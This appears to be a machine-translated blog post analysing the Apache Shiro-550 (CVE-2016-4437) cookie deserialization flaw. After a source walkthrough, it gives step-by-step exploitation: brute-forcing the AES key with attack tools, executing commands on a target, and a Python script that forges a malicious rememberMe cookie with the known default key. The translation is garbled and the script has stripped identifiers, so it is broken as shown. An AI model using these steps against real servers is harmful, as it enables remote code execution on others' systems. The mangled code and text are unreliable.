Location>code7788 >text

Shiro-550-Vulnerability Analysis (CVE-2016-4437)

Popularity:426 ℃/2024-09-20 16:20:26

catalogs
  • Vulnerability Principles
  • source code analysis
    • encryption process
    • decryption process
  • lit. loophole is reproduced

Vulnerability Principles

Shiro-550 (CVE-2016-4437) Deserialization Vulnerability
When debugging the cookie encryption process, we found that the developer hardcoded the key used by AES-CBC for encryption, and so we could carefully construct a malicious payload to replace the cookie after we got the key, and then let the backend deserialize our malicious payload when decrypting it in the end to cause an attack.
Note: To understand the root cause of the vulnerability is mainly to know the root cause is because the key is written dead in the source code, resulting in collision key or directly use the default key, the latter is the deserialization vulnerability.

source code analysis

encryption process

Convention: Assuming the incoming username is root

1. entrance in:onSuccessfulLoginfunction (math.)
在这里插入图片描述
2. Then look below there is an if judgment isisRememberMeTo determine whether RememberMe is checked, we need to check it in order to be able to carry out the attack, and you can see that the return of true into the if will be executed after therememberIdentityfunction, so here's where the vulnerability profiling officially begins.
在这里插入图片描述
3. Follow-uprememberIdentityfunction, you will find that he will use your login information to generate a PrincipalCollection object
(Note that the username you entered here is root)
在这里插入图片描述
Note that we need to follow up hererememberIdentityin therememberIdentityfunction (math.)
Once inside you'll find two functions, the two main branches here:

  • convertPrincipalsToBytes
  • rememberSerializedIdentity

Note: We start by trackingconvertPrincipalsToBytes, but don't forget that the next line after the function ends has to perform therememberSerializedIdentity
在这里插入图片描述

4. Then follow upconvertPrincipalsToBytesIt is found that here is a serialization function for the username root first, and then if it is established, it will go into theencryptencryption, then those two points speak to the heart of the whole vulnerability.

Serialization + Encryption
However, if we want to attack, we need to further understand how to encrypt, then attack the serialization on the corresponding code can be written, but theThe encryption process is something we need to knowBetter yet, get his key.

在这里插入图片描述
5. Then it must be followed upserializefunction, there's not much to see when you go back in, just know that he's performing a serialization process on the username.
在这里插入图片描述
6. Then it's time to go back and look at theconvertPrincipalsToBytesfunction, when serialization is complete there is agetCipherServicefunction that is used to get the encryption method.
It is important here that the if judgment and the cryptographic function inside the if follow up to get the powerful information.
在这里插入图片描述

7. Commencement of follow-upgetCipherServicefunction (math.)
Opening lightning strike, +1 for important information.
在这里插入图片描述
You can hover to see his encryption method AES-CBC mode
在这里插入图片描述
8. After judging the success of finding the encryption mode, the next step is to enter the if inside theencryptIt's encrypted.
在这里插入图片描述
Followed up and realized there was an IF done before the encryption was started, the IF must have gotten in, just got the encryption pattern
在这里插入图片描述
9. Here, according to the execution priority, follow up firstgetEncryptionCipherKeymethodologies
this onegetEncryptionCipherKeyIt's the best of the best. Get the encryption key and find out what's going on.
Returns directly to theencryptionCipherKeyIf the encryption key is him, then surely we need to find his setter method, but here I decided not to go deeper, because we already know that the method is to get the encryption key.
在这里插入图片描述
Eventually you will find the encryption key asDEFAULT_CIPHER_KEY_BYTES(be) worth
在这里插入图片描述
10. The book continues from the previous pagegetEncryptionCipherKeyGetting the encryption key was successful, and then it was the turn of theencryptEncrypted, but I won't follow up on that here, since the encryption method and key are already known.
在这里插入图片描述
11. Exit followed byrememberSerializedIdentity
I don't know if I remembered that.convertPrincipalsToBytesAfter the function exits don't forget torememberSerializedIdentity
在这里插入图片描述
12. Follow-uprememberSerializedIdentity function (math.)
Ignore all that's in there and go straight to the important information, which is the rightconvertPrincipalsToBytesThe bytes returned by the function are encoded again, base64 encryption is used here, and then the final base64 encryption is set to the rememberMe field of the user's cookie.
在这里插入图片描述

  • Encryption Summary
    Serializing cookies

    AES-CBC encryption (key can be obtained by collision/use common default key)

    base64 encryption

    Complete encryption, set cookie field

decryption process

The decryption process is really just the opposite of encryption above, and I prefer to think that understanding vulnerabilities through encryption is more insightful, so the decryption process is:

  • decryption summary
    hacker passes in a malicious payload to be placed in the cookie's rememberMe field

    Server-side base64 decryption

    Server-side AES-CBC decryption (keys can be obtained by collision/use common default keys)

    Server-side Deserialized data (successful attack)

Then in fact the ultimate want is to obtain the secret key and generate malicious payload, these two points in the following vulnerability replication to expand.

lit. loophole is reproduced

1. Grab the encryption key
It can be obtained passively via the burpsuite plugin installation
/pmiaowu/BurpShiroPassiveScan/releases
在这里插入图片描述
Once the plugin is installed, you can grab the square packets and see what happens.
在这里插入图片描述
Finally, you'll be able to see the captured key at the target.
在这里插入图片描述

2. Generate payload to attack
Here's a straightforward step-by-step guide to using the integration tools.
I was thinking of using ysoserial, but it's problematic and cumbersome to use.
It is recommended to use this tool to come fast:
/SummerSec/ShiroAttack2/releases
The usage is also simple, run the jar package command:java -jar shiro_attack-4.7.
Just put your url on the target address
First, click on the burst key, and the display log will print: key found.
Then just click on Blast Utilization Chain.
在这里插入图片描述
Then we come to the command execution where we execute random commands.
在这里插入图片描述

You can also add more keys to the dictionary, which is in the data directory.
在这里插入图片描述


The following method of generating payload can be seen but not seen, if you know ysoserial very well use the following one, indeed ysoserial is very strong, is more trouble.

There are ready-made scripts on the web, change it to your own dnslog domain name
(I only tested dnslog with this script and it was successful)
This method has the disadvantage of needing your current directory to have, at the same time I tried other gadget have failed to execute the command, I do not know where the error or how to suggest that there is no need to modify other things, only modify the dnslog domain name to get to the payload, put the cookie where the packet is sent to the past to detect the existence of vulnerabilities can be.
Please download the jar package and put it in the same script directory in order to use the following script:/frohoff/ysoserial/
在这里插入图片描述
Then run the script
Get the payload.
在这里插入图片描述
Then put it in a cookie.Remember to put it in a cookie., because deserialization is deserialization via cookies.
在这里插入图片描述
Then check the dnslog and you'll see that the trigger was successful!
在这里插入图片描述

Below is the script source code, never forget that the script has to be in the current directory in order to run it.

import base64
import uuid
import subprocess
from  import AES


def rememberme(command):
    # popen = (['java', '-jar', 'ysoserial-0.0.', 'URLDNS', command], stdout=)
    popen = (['java', '-jar', '', 'URLDNS', command],
                             stdout=)
    # popen = (['java', '-jar', 'ysoserial-0.0.', 'JRMPClient', command], stdout=)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = "kPH+bIxk5D2deZiIxcaaaA=="
    mode = AES.MODE_CBC
    iv = uuid.uuid4().bytes
    encryptor = (base64.b64decode(key), mode, iv)
    file_body = pad(())
    base64_ciphertext = base64.b64encode(iv + (file_body))
    return base64_ciphertext


if __name__ == '__main__':
    # payload = encode_rememberme('127.0.0.1:12345')
    # payload = rememberme('')
    payload = rememberme('')
    with open("./", "w") as fpw:

        print("rememberMe={}".format(()))
        res = "rememberMe={}".format(())
        (res)

Reference Article:
/t/11633
/post/id/225442
/z2n3/p/